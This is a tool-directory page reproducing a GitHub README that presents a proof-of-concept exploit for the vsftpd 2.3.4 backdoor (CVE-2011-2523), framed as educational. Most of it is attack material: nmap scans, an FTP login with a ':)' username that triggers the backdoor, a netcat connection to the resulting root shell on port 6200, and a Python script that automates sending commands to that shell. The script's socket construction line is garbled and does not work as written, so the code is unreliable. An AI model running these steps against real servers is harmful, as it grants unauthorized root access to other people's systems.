Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
vsftpd-2.3.4---Backdoor-Command-Execution — vsftpd 2.3.4 (CVE-2011-2523) a critical vulnerability that leads to Reverse Root Shell. In this repo I will do a PoC how to exploit it step by step, Manually & Automatically (Python) for educational purposes. | Kitploit
Tools/GitHubGitHub/tshaq17/vsftpd-2.3.4---backdoor-command-execution
Payload GenerationVulnerability AnalysisExploitationPenetration TestingLearning & EducationRemote Access Tool
GitHubtshaq17/vsftpd-2.3.4---backdoor-command-execution

vsftpd-2.3.4---Backdoor-Command-Execution

vsftpd 2.3.4 (CVE-2011-2523) a critical vulnerability that leads to Reverse Root Shell. In this repo I will do a PoC how to exploit it step by step, Manually & Automatically (Python) for educational purposes.

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share
View Repository
6 months agoNot yet reviewed

vsftpd-2.3.4---Backdoor-Command-Execution

vsftpd 2.3.4 (CVE-2011-2523) a critical vulnerability that leads to Root Shell. In this repo I will do a PoC of how to exploit it step by step, Manually & Automatically (Python) for educational purposes.

What is the vulnerability about ? Firstlly, it is a servcie-side exploit so we will exploit it remotly. The idea is when you connect to the FTP service by default on port 21 using a username contain :) it will trigger the system to open a tcp port 6200 with a Root Shell so any one can connect to it and have a Root access to the target server which is a disaster. So let's do it practically step by step. I will expalin it manually first to have the full idea then there is a python script to exploit it automatically.

Manually

Port Scanning

  1. port 21 opened
root@kitploit:~
nmap -p21 -sV -sC -O Target_IP 
image
  1. port 6200 closed
root@kitploit:~
nmap -p6200 Target_IP
  • Port 6200 is closed for now image

Exploitation

  1. Connect to FTP service and use a malicious username to trigger the system to open port 6200
root@kitploit:~
ftp Target_IP 
  • Username: anything:)
  • Password: anything image
  1. Check port 6200 after FTP connection
root@kitploit:~
nmap -p6200 Target_IP

Port 6200 is open now so this is our backdoor

image
  1. Connect to port 6200 to have a Root Shell on the whole server
root@kitploit:~
nc -nv Target_IP 6200

Finally, we have a Root Shell on the target machine. image


Automatically

After we did it manually we know the exploit steps:

  1. Connect to FTP server on port (21).
  2. Use a username contain :) to trigger the backdoor.
  3. connect to the port (6200).
root@kitploit:~
#!/usr/bin/python3 

from ftplib import FTP
import socket
import sys
import time

Target_IP = sys.argv[1]
cmd = sys.argv[2]

# Step1: Connect to FTP
try:
  ftp = FTP(Target_IP,timeout=2)
  ftp.login("user:)","password") # Step2: Send the malicious username
except:
  pass

time.sleep(1) # To give a time for the server to open the port (6200)

#Step3: Connect to port (6200) to have a Root Shell
shell = socket.socket(socket.socket(socket.AF_INET, socket.SOCK_STREAM))
try:
  shell.connect((Target_IP,6200))
except:
  print("Shell Failed")

#Execute the commands
shell.send(cmd.encode() + b"\n")
print(shell.recv(4096).decode())

#Finally close the connection
shell.close()
Download Tool